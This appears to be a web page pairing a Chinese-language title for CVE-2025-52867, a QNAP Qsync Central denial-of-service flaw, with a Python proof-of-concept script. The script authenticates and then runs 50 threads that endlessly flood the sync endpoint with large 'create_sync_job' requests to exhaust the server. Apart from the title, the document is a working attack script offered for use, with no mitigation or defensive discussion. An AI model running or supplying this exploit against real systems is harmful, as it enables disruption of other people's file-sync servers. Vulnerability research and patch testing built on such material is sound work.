CVE-2025-52867 QNAP Qsync Central资源消耗漏洞导致拒绝服务

# CVE-2025-52867 - QNAP Qsync Central Uncontrolled Resource Consumption PoC # This PoC demonstrates a denial-of-service attack by exhausting server resources # through excessive authenticated sync requests. import requests import threading import time TARGET_URL = "https://target-qnap:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, base_url, username, password): """Authenticate to Qsync Central and obtain session cookie.""" login_url = f"{base_url}/cgi-bin/qsync/qsync.cgi" payload = { "act": "login", "user": username, "pwd": password } response = session.post(login_url, data=payload, verify=False) if response.status_code == 200: print(f"[+] Authenticated as {username}") return True return False def trigger_resource_exhaustion(session, base_url, thread_id): """Send repeated sync requests to exhaust server resources.""" sync_url = f"{base_url}/cgi-bin/qsync/qsync.cgi" while True: try: # Trigger large sync job creation repeatedly payload = { "act": "create_sync_job", "folder_pair": f"/exhaust/target_{thread_id}_{int(time.time())}", "sync_type": "two_way", "file_count": "100000" } session.post(sync_url, data=payload, timeout=5, verify=False) except Exception: pass def main(): session = requests.Session() if not authenticate(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Authentication failed") return # Launch multiple threads to maximize resource consumption threads = [] for i in range(50): t = threading.Thread(target=trigger_resource_exhaustion, args=(session, TARGET_URL, i)) t.daemon = True t.start() threads.append(t) print("[*] DoS attack in progress... Press Ctrl+C to stop") while True: time.sleep(1) if __name__ == "__main__": main()